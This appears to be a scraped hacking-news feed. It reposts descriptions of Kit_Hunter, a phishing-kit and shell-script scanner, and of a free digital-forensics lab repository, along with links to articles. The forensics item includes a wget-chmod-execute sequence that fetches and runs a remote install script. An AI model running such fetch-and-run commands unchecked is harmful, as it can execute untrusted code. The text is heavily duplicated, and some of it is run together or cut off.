https://external-preview.redd.it/FkohB1mD40JdYX5bI-J-2BEfP7odXPPzyP-AnJsZuzU.jpg?width=640&crop=smart&auto=webp&s=a696eef9a1d42983e109e66b247f69fc7743489c submitted by /u/thegreatblazed
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Russian Cybersecurity Firm Draws U.S. Federal Scrutiny, Concern from National Security Experts
https://external-preview.redd.it/FkohB1mD40JdYX5bI-J-2BEfP7odXPPzyP-AnJsZuzU.jpg?width=640&crop=smart&auto=webp&s=a696eef9a1d42983e109e66b247f69fc7743489c submitted by /u/thegreatblazed
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Russian Cybersecurity Firm Draws U.S. Federal Scrutiny, Concern...
Posted in r/hacking by u/thegreatblazed • 1 point and 0 comments
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Kit_Hunter : A Basic Phishing Kit Scanner For Dedicated And Semi-Dedicated Hosting
Kit_Hunter is a personal project to learn Python, and a basic scanning tool that will search directories and locate phishing kits based on established markers. As detection happens, a report is generated for administrators.
By default the script will generate a report that shows the files that were detected as potentially problematic, list the markers that indicated them as problematic (a.k.a. tags), and then show the exact line of code where the detection happened.
https://blogger.googleusercontent.com/img/a/AVvXsEhoP2qqV0hUngEm6LanuEVG_d1Q1OpTURRUGx2tjCbam9C88uP3XUnWM-OtRpwizI4J7ewLmKKs3r2NjFiQjvC3yeXmGCok_Uj8kxc-aGJlyk4VwTngpivZKFpA6H-9ZSH1wDWhQ-0Uv-W1izzNZTGOLBuxh-lFa6IjM--90IOUW1oKdV4ituQ_zU8E=s707
Usage
Help
To get quick help:
To launch a full scan using the default settings:
To launch a quick scan, using minimal detection rules:
To launch a custom scan:
You can run
The final report will be generated in the directory being scanned.
In my usage, I call Kit Hunter from my
This latest release of Kit Hunter comes with shell detection. Shell scripts are often packaged with phishing kits, or used to deploy phishing kits on webservers. Kit Hunter will scan for some common shell script elements. The process works exactly the same way as regular scanning, only the shell detections are called with the
Once scanning is complete, output from the script will point you to the location of the saved scan report. Tag Files
When it comes to the tag files, there are 41 tag files shipping with v2.5.8 Kit Hunter. These tag files detect targeted phishing campaigns, as well as various types of phishing tricks, such as obfuscation, templating, theming, and even branded kits like Kr3pto and Ex-Robotos. New tag files will be added, and existing tag files will be updated on a semi-regular basis. See the changelog for details.
As was the case with v1.0, the longer the tag file is, the longer it will take for the script to read it. Download
___________________________
@hacking_Attack
@Hacking_Video
Kit_Hunter : A Basic Phishing Kit Scanner For Dedicated And Semi-Dedicated Hosting
Kit_Hunter is a personal project to learn Python, and a basic scanning tool that will search directories and locate phishing kits based on established markers. As detection happens, a report is generated for administrators.
By default the script will generate a report that shows the files that were detected as potentially problematic, list the markers that indicated them as problematic (a.k.a. tags), and then show the exact line of code where the detection happened.
https://blogger.googleusercontent.com/img/a/AVvXsEhoP2qqV0hUngEm6LanuEVG_d1Q1OpTURRUGx2tjCbam9C88uP3XUnWM-OtRpwizI4J7ewLmKKs3r2NjFiQjvC3yeXmGCok_Uj8kxc-aGJlyk4VwTngpivZKFpA6H-9ZSH1wDWhQ-0Uv-W1izzNZTGOLBuxh-lFa6IjM--90IOUW1oKdV4ituQ_zU8E=s707
Usage
Help
To get quick help:
python3 kit_hunter_2.py -hDefault scanTo launch a full scan using the default settings:
python3 kit_hunter_2.pyQuick scanTo launch a quick scan, using minimal detection rules:
python3 kit_hunter_2.py -qCustom scanTo launch a custom scan:
python3 kit_hunter_2.py -cNote: When using the -cswitch, you must place a tag file in the same location as Kit Hunter. You can name this file whatever you want, but the extension must be .tag. Please remember that the formatting is important. There should only be one item per line, and no whitespaces. You can look at the other tag files if you need examples. Directory selected scanningYou can run
kit_hunter_2.pyfrom any location using the -dswitch to select a directory to scan: python3 kit_hunter_2.py -d /path/to/directoryHowever, it is easier if you place kit_hunter_2.pyin the directory above your web root (e.g. /www/or /public_html/) and call the script from there.The final report will be generated in the directory being scanned.
In my usage, I call Kit Hunter from my
/kit/download/directory where new phishing kits are saved. My reports are then generated and saved to that folder. However, if I call Kit Hunter and scan my /PHISHING/Archive/folder using the -dswitch, then the report will save to /PHISHING/Archive/. Shell detectionThis latest release of Kit Hunter comes with shell detection. Shell scripts are often packaged with phishing kits, or used to deploy phishing kits on webservers. Kit Hunter will scan for some common shell script elements. The process works exactly the same way as regular scanning, only the shell detections are called with the
-sswitch. This is a standalone scan, so you can’t run it with other types. You can however leverage the -mand -lflags with shell scanning. See the script’s help section for more details.Once scanning is complete, output from the script will point you to the location of the saved scan report. Tag Files
When it comes to the tag files, there are 41 tag files shipping with v2.5.8 Kit Hunter. These tag files detect targeted phishing campaigns, as well as various types of phishing tricks, such as obfuscation, templating, theming, and even branded kits like Kr3pto and Ex-Robotos. New tag files will be added, and existing tag files will be updated on a semi-regular basis. See the changelog for details.
As was the case with v1.0, the longer the tag file is, the longer it will take for the script to read it. Download
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Kit_Hunter : A Basic Phishing Kit Scanner For Dedicated
Kit_Hunter is a personal project to learn Python, and a basic scanning tool that will search directories and locate phishing kits.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Digital-Forensics-Lab : Free Hands-On Digital Forensics Labs For Students And Faculty
Digital-Forensics-Lab is a Free Hands-On Digital Forensics Labs For Students And Faculty.
Features Of Repository
* Hands-on Digital Forensics Labs: designed for Students and Faculty
* Linux-based lab: All labs are purely based on Kali Linux
* Lab screenshots: Each lab has PPTs with instruction screenshots
* Comprehensive: Cover many topics in digital forensics
* Free: All tools are open source
* Updated: The project is funded by DOJ and will keep updating
* Two formalized forensic intelligence in JSON files based-on case studies
Tool Installation (newly added on 12/6/2021) Method 1: Importing customized Kali VM image
The customized Kali VM = Kali (2020.4) + tools used for completing most of the labs listed above (except p2p Data Leakage case)
* Install Virtualbox
* Import the customized Kali 2020.4. Notes: the default harddisk size is 80G. Method 2: Installing tools using the customized script (the script ONLY is tested on Kali 2020.4)
The following script will install tools needed for completing most of the labs listed above (except p2p Data Leakage case, which has its own script described in PPTs). Please let us know if you need us to add more tools to the script.
* Install Virtualbox
* Install Kali 2020.4. Notes: Suggest You configure the disk size of Kali VM 80G because the size of each leakage cases image is 30G+
* How to run the installation script instructions, or you can simply follow the commands below
wget https://raw.githubusercontent.com/frankwxu/digital-forensics-lab/main/Help/tool-install-zsh.sh
chmod +x tool-install-zsh.sh
./tool-install-zsh.sh
Installed tools. Note that most of the commands for tools can executed globally. Now you can skip most of tool installation steps in PPTs.
Investigating NIST Data Leakage
The case study is to investigate an image involving intellectual property theft. The study include
* A large and complex case study created by NIST. You can access the Scenario, DD/Encase images. You can also find the solutions on their website.
* 14 hands-on labs/topics in digital forensics
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Environment Setting Up2MLab 1Windows Registry3MLab 2Windows Event and XML3MLab 3Web History and SQL3MLab 4Email Investigation3MLab 5File Change History and USN Journal2MLab 6Network Evidence and shellbag2MLab 7Network Drive and Cloud5MLab 8Master File Table ($MFT) and Log File ($logFile) Analysis13MLab 9Windows Search History4MLab 10Windows Volume Shadow Copy Analysis6MLab 11Recycle Bin and Anti-Forensics3MLab 12Data Carving3MLab 13Crack Windows Passwords2M Investigating P2P Data Leakage
The P2P data leakage case study is to help students to apply various forensic techniques to investigate intellectual property theft involving P2P. The study includes
* A large and complex case involving a uTorrent client. The case is similar to NIST data leakage lab. However, it provides a clearer and more detailed timeline.
* Solid evidence with explanations. Each evidence that is associated with each activity is explained along with the timeline.
* 10 hands-on labs/topics in digital forensics
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Lab Environment Setting Up4MLab 1Disk Image and Partitions5MLab 2Windows Registry and File Directory15MLab 3MFT Timeline6MLab 4USN Journal Timeline3MLab 5uTorrent Log File9MLab 6File Signature8MLab 7Emails9MLab 8Web History11MLab 9Website Analysis2MLab 10Timeline (Summary)13K Investigating Illegal Possession of Images
The case study is to investigate the illegal possession of Rhino images. This image was contributed by Dr. Golden G. Richard III, and was originally used in the DFRWS 2005 RODEO CHALLENGE. NIST hosts the USB DD image. A copy of the image is also available in the repository.[...]
___________________________
@hacking_Attack
@Hacking_Video
Digital-Forensics-Lab : Free Hands-On Digital Forensics Labs For Students And Faculty
Digital-Forensics-Lab is a Free Hands-On Digital Forensics Labs For Students And Faculty.
Features Of Repository
* Hands-on Digital Forensics Labs: designed for Students and Faculty
* Linux-based lab: All labs are purely based on Kali Linux
* Lab screenshots: Each lab has PPTs with instruction screenshots
* Comprehensive: Cover many topics in digital forensics
* Free: All tools are open source
* Updated: The project is funded by DOJ and will keep updating
* Two formalized forensic intelligence in JSON files based-on case studies
Tool Installation (newly added on 12/6/2021) Method 1: Importing customized Kali VM image
The customized Kali VM = Kali (2020.4) + tools used for completing most of the labs listed above (except p2p Data Leakage case)
* Install Virtualbox
* Import the customized Kali 2020.4. Notes: the default harddisk size is 80G. Method 2: Installing tools using the customized script (the script ONLY is tested on Kali 2020.4)
The following script will install tools needed for completing most of the labs listed above (except p2p Data Leakage case, which has its own script described in PPTs). Please let us know if you need us to add more tools to the script.
* Install Virtualbox
* Install Kali 2020.4. Notes: Suggest You configure the disk size of Kali VM 80G because the size of each leakage cases image is 30G+
* How to run the installation script instructions, or you can simply follow the commands below
wget https://raw.githubusercontent.com/frankwxu/digital-forensics-lab/main/Help/tool-install-zsh.sh
chmod +x tool-install-zsh.sh
./tool-install-zsh.sh
Installed tools. Note that most of the commands for tools can executed globally. Now you can skip most of tool installation steps in PPTs.
Investigating NIST Data Leakage
The case study is to investigate an image involving intellectual property theft. The study include
* A large and complex case study created by NIST. You can access the Scenario, DD/Encase images. You can also find the solutions on their website.
* 14 hands-on labs/topics in digital forensics
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Environment Setting Up2MLab 1Windows Registry3MLab 2Windows Event and XML3MLab 3Web History and SQL3MLab 4Email Investigation3MLab 5File Change History and USN Journal2MLab 6Network Evidence and shellbag2MLab 7Network Drive and Cloud5MLab 8Master File Table ($MFT) and Log File ($logFile) Analysis13MLab 9Windows Search History4MLab 10Windows Volume Shadow Copy Analysis6MLab 11Recycle Bin and Anti-Forensics3MLab 12Data Carving3MLab 13Crack Windows Passwords2M Investigating P2P Data Leakage
The P2P data leakage case study is to help students to apply various forensic techniques to investigate intellectual property theft involving P2P. The study includes
* A large and complex case involving a uTorrent client. The case is similar to NIST data leakage lab. However, it provides a clearer and more detailed timeline.
* Solid evidence with explanations. Each evidence that is associated with each activity is explained along with the timeline.
* 10 hands-on labs/topics in digital forensics
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Lab Environment Setting Up4MLab 1Disk Image and Partitions5MLab 2Windows Registry and File Directory15MLab 3MFT Timeline6MLab 4USN Journal Timeline3MLab 5uTorrent Log File9MLab 6File Signature8MLab 7Emails9MLab 8Web History11MLab 9Website Analysis2MLab 10Timeline (Summary)13K Investigating Illegal Possession of Images
The case study is to investigate the illegal possession of Rhino images. This image was contributed by Dr. Golden G. Richard III, and was originally used in the DFRWS 2005 RODEO CHALLENGE. NIST hosts the USB DD image. A copy of the image is also available in the repository.[...]
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Digital-Forensics-Lab : Free Hands-On Digital Forensics Labs
Digital-Forensics-Lab is a Free Hands-On Digital Forensics Labs For Students And Faculty. Hands-on Digital Forensics Labs , designed.
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Digital-Forensics-Lab : Free Hands-On Digital Forensics Labs For Students And Faculty Digital-Forensics-Lab is a Free Hands-On Digital Forensics Labs For Students And Faculty. Features Of Repository * Hands-on Digital Forensics Labs:…
Topics Covered
LabsTopics CoveredSize of PPTsLab 0HTTP Analysis using Wireshark (text)3MLab 1HTTP Analysis using Wireshark (image)6MLab 2Rhion Possession Investigation 1: File recovering9MLab 3Rhion Possession Investigation 2: Steganography4MLab 4Rhion Possession Investigation 3: Extract Evidence from FTP Traffic3MLab 5Rhion Possession Investigation 4: Extract Evidence from HTTP Traffic5M Investigating Email Harassment
The case study is to investigate the harassment email sent by a student to a faculty member. The case is hosted by digitalcorpora.org. You can access the senario description and network traffic from their website. The repository only provides lab instructions.
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Investigating Harassment Email using Wireshark3MLab 1t-shark Forensic Introduction2MLab 2Investigating Harassment Email using t-shark2M Investigating Illegal File Transferring
The case study is to investigate computer memory for reconstructing a timeline of illegal data transferring. The case includes a scenario of transfer sensitive files from a server to a USB.
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Memory Forensics11Mpart 1Understand the Suspect and Accountspart 2Understand the Suspect’s PCpart 3Network Forensicspart 4Investigate Command Historypart 5Investigate Suspect’s USBpart 6Investigate Internet Explorer Historypart 7Investigate File Explorer Historypart 8Timeline Analysis Investigating Hacking Case
The case study, including a disk image provided by NIST is to investigate a hacker who intercepts internet traffic within range of Wireless Access Points.
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Hacking Case8M Investigating Android 10
The image is created by Joshua Hickman and hosted by digital corpora.
LabsTopics CoveredSize of PPTsLab 0Intro Pixel 33MLab 1Pixel 3 Image2MLab 2Pixel 3 Device4MLab 3Pixel 3 System Setting5MLab 4Overview: App Life Cycle11MLab 5.1.1AOSP App Investigations: Messaging4MLab 5.1.2AOSP App Investigations: Contacts3MLab 5.1.3AOSP App Investigations: Calendar1MLab 5.2.1GMS App Investigations: Messaging6MLab 5.2.2GMS App Investigations: Dialer2MLab 5.2.3GMS App Investigations: Maps8MLab 5.2.4GMS App Investigations: Photos6MLab 5.3.1Third-Party App Investigations: Kik4MLab 5.3.2Third-Party App Investigations: textnow1MLab 5.3.3Third-Party App Investigations: whatapp3MLab 6Pixel 3 Rooting5M Investigating Drone DJI
The dataset includes logical files extracted from a DJI controller (mobile device) and a SD card image used by the device. The Drone dataset is created by VTO Labs. The lab covers GPS investigation and cached image retrieval. Note that it is a draft. We will improve the lab later.
LabsTopics CoveredSize of PPTsLab 0DJI Mavic Air Mobile13MLab 1DJI Mavic Air MicroSD Raw2MLab 2DJI Mavic Air MicroSD Encase Format2M Tools
* Commands tested
NameCommandRepositoryInstallation MethodWinewine –versionhttps://source.winehq.org/git/wine.git/CustomVinettovinetto -hhttps://github.com/AtesComp/VinettoCustomimgclipimgclip -hhttps://github.com/Arthelon/imgclipapt installRegRipperrip.pl -hhttps://github.com/keydet89/RegRipper3.0Customized scirptWindows-Prefetch-Parserprefetch.py -hhttps://github.com/PoorBillionaire/Windows-Prefetch-Parser.gitCustompython-evtxevtx_dump.py -hhttps://github.com/williballenthin/python-evtxapt installlibesedb-utilsesedbexport -hhttps://github.com/libyal/libesedbapt installlibpffpffexport -hhttps://github.com/libyal/libpffapt installUSN-Record-Carverusncarve.py -hhttps://github.com/PoorBillionaire/USN-Record-Carverapt installUSN-Journal-Parserusn.py -hhttps://github.com/PoorBillionaire/USN-Journal-Parserapt installtime_decodetime_decode.py -hhttps://github.com/digitalsleuth/time_decodeGit cloneanalyzeMFTanalyzeMFT.py -hhttps://github.com/dkovar/analyzeMFTCustomized scirptlibvshadowvshadowinfo -hhttps://github.com/libyal/libvshadowCustomized scirptINDXParseINDXParse.py –Customized scirptcarving sq[...]
___________________________
@hacking_Attack
@Hacking_Video
LabsTopics CoveredSize of PPTsLab 0HTTP Analysis using Wireshark (text)3MLab 1HTTP Analysis using Wireshark (image)6MLab 2Rhion Possession Investigation 1: File recovering9MLab 3Rhion Possession Investigation 2: Steganography4MLab 4Rhion Possession Investigation 3: Extract Evidence from FTP Traffic3MLab 5Rhion Possession Investigation 4: Extract Evidence from HTTP Traffic5M Investigating Email Harassment
The case study is to investigate the harassment email sent by a student to a faculty member. The case is hosted by digitalcorpora.org. You can access the senario description and network traffic from their website. The repository only provides lab instructions.
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Investigating Harassment Email using Wireshark3MLab 1t-shark Forensic Introduction2MLab 2Investigating Harassment Email using t-shark2M Investigating Illegal File Transferring
The case study is to investigate computer memory for reconstructing a timeline of illegal data transferring. The case includes a scenario of transfer sensitive files from a server to a USB.
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Memory Forensics11Mpart 1Understand the Suspect and Accountspart 2Understand the Suspect’s PCpart 3Network Forensicspart 4Investigate Command Historypart 5Investigate Suspect’s USBpart 6Investigate Internet Explorer Historypart 7Investigate File Explorer Historypart 8Timeline Analysis Investigating Hacking Case
The case study, including a disk image provided by NIST is to investigate a hacker who intercepts internet traffic within range of Wireless Access Points.
Topics Covered
LabsTopics CoveredSize of PPTsLab 0Hacking Case8M Investigating Android 10
The image is created by Joshua Hickman and hosted by digital corpora.
LabsTopics CoveredSize of PPTsLab 0Intro Pixel 33MLab 1Pixel 3 Image2MLab 2Pixel 3 Device4MLab 3Pixel 3 System Setting5MLab 4Overview: App Life Cycle11MLab 5.1.1AOSP App Investigations: Messaging4MLab 5.1.2AOSP App Investigations: Contacts3MLab 5.1.3AOSP App Investigations: Calendar1MLab 5.2.1GMS App Investigations: Messaging6MLab 5.2.2GMS App Investigations: Dialer2MLab 5.2.3GMS App Investigations: Maps8MLab 5.2.4GMS App Investigations: Photos6MLab 5.3.1Third-Party App Investigations: Kik4MLab 5.3.2Third-Party App Investigations: textnow1MLab 5.3.3Third-Party App Investigations: whatapp3MLab 6Pixel 3 Rooting5M Investigating Drone DJI
The dataset includes logical files extracted from a DJI controller (mobile device) and a SD card image used by the device. The Drone dataset is created by VTO Labs. The lab covers GPS investigation and cached image retrieval. Note that it is a draft. We will improve the lab later.
LabsTopics CoveredSize of PPTsLab 0DJI Mavic Air Mobile13MLab 1DJI Mavic Air MicroSD Raw2MLab 2DJI Mavic Air MicroSD Encase Format2M Tools
* Commands tested
NameCommandRepositoryInstallation MethodWinewine –versionhttps://source.winehq.org/git/wine.git/CustomVinettovinetto -hhttps://github.com/AtesComp/VinettoCustomimgclipimgclip -hhttps://github.com/Arthelon/imgclipapt installRegRipperrip.pl -hhttps://github.com/keydet89/RegRipper3.0Customized scirptWindows-Prefetch-Parserprefetch.py -hhttps://github.com/PoorBillionaire/Windows-Prefetch-Parser.gitCustompython-evtxevtx_dump.py -hhttps://github.com/williballenthin/python-evtxapt installlibesedb-utilsesedbexport -hhttps://github.com/libyal/libesedbapt installlibpffpffexport -hhttps://github.com/libyal/libpffapt installUSN-Record-Carverusncarve.py -hhttps://github.com/PoorBillionaire/USN-Record-Carverapt installUSN-Journal-Parserusn.py -hhttps://github.com/PoorBillionaire/USN-Journal-Parserapt installtime_decodetime_decode.py -hhttps://github.com/digitalsleuth/time_decodeGit cloneanalyzeMFTanalyzeMFT.py -hhttps://github.com/dkovar/analyzeMFTCustomized scirptlibvshadowvshadowinfo -hhttps://github.com/libyal/libvshadowCustomized scirptINDXParseINDXParse.py –Customized scirptcarving sq[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Topics Covered LabsTopics CoveredSize of PPTsLab 0HTTP Analysis using Wireshark (text)3MLab 1HTTP Analysis using Wireshark (image)6MLab 2Rhion Possession Investigation 1: File recovering9MLab 3Rhion Possession Investigation 2: Steganography4MLab 4Rhion Possession…
lite .dbundark -hhttps://github.com/inflex/undark.gitCustomized scirptstegdetectstegdetect -VCustomized scirptstegbreakstegbreak -VCustomized scirptstego-toolkitjphideCustomized scirptjpsestego-toolkitekjpseekCustomized scirptvolatility-2vol.py -hhttps://github.com/volatilityfoundation/volatility.gitCustomized scirptliblnk-utilslnkinfo -hapt installJLECmdhttps://f001.backblazeb2.com/file/EricZimmermanTools/JLECmd.zipGit clonerecentfilecache-parserhttps://github.com/prolsen/recentfilecache-parserLogFileParserhttps://github.com/jschicht/LogFileParser.gitGit cloneUsnJrnl2Csvttps://github.com/jschicht/UsnJrnl2Csv.gitGit clone
* Other tools installed via apt install python3-pip, leafpad, terminator, sqlite3, tree, xmlstarlet, libhivex-bin, pasco, libhivex-bin, npm, binwalk, foremost, hashdeep, ewf-tools, nautilus Download
___________________________
@hacking_Attack
@Hacking_Video
* Other tools installed via apt install python3-pip, leafpad, terminator, sqlite3, tree, xmlstarlet, libhivex-bin, pasco, libhivex-bin, npm, binwalk, foremost, hashdeep, ewf-tools, nautilus Download
___________________________
@hacking_Attack
@Hacking_Video
Creating easy proof-of-concept scripts with Python and Curl.
https://medium.com/@wyv3rn/creating-easy-proof-of-concept-scripts-with-python-and-curl-5dca489c596b?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/@wyv3rn/creating-easy-proof-of-concept-scripts-with-python-and-curl-5dca489c596b?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Creating easy proof-of-concept scripts with Python and Curl.
Hello Hunters!